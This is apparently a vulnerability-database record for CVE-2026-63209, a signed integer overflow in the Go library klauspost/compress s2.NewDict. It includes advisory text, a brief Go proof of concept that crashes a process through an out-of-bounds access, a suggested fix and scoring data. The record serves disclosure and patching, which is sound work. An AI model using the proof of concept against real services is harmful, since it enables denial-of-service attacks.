{"schema":"threatline.record/2","record":{"id":"CVE-2026-63209","aliases":["GHSA-259r-337f-4rfw","GO-2026-5841"],"summary":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","details":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** <= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat > len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r > math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/","categories":["Libraries & packages"],"product":"github.com/klauspost/compress","vendor":"klauspost","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-259r-337f-4rfw","source_modified_at":"2026-10-20T14:33:35Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/klauspost/compress"},"range":"<= 1.18.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-63209","source_modified_at":"2026-09-29T16:32:32.677Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"compress","vendor":"klauspost","versions":[{"status":"affected","version":"< 1.18.7"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-259r-337f-4rfw","source_modified_at":"2026-10-20T14:45:03.782718646Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/klauspost/compress","ecosystem":"Go","purl":"pkg:golang/github.com/klauspost/compress"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.18.7"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-259r-337f-4rfw","source_modified_at":"2026-10-20T14:33:35Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/klauspost/compress"},"version":"1.18.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-259r-337f-4rfw","source_modified_at":"2026-10-20T14:45:03.782718646Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/klauspost/compress","ecosystem":"Go","purl":"pkg:golang/github.com/klauspost/compress"},"version":"1.18.7"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00365,"percentile":0.29131,"score_date":"2026-10-23"},"published_at":"2026-09-29T14:58:53.366Z","modified_at":"2026-10-20T14:45:03.782718646Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-259r-337f-4rfw","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T14:33:35Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-63209","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-29T16:32:32.677Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-259r-337f-4rfw","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-20T14:45:03.782718646Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63209","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63209","source":"GitHub Advisory Database"},{"url":"https://github.com/klauspost/compress/pull/1163","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","tags":["x_refsource_MISC"]},{"url":"https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/klauspost/compress/releases/tag/v1.18.7","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-259r-337f-4rfw","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-29T16:31:39.668233Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T14:45:03.782718646Z","content_hash":"c874b8adf764ba60234c9b286bf57a2cc3e300cfbfe2e567707bc45f9f13a4b4"}}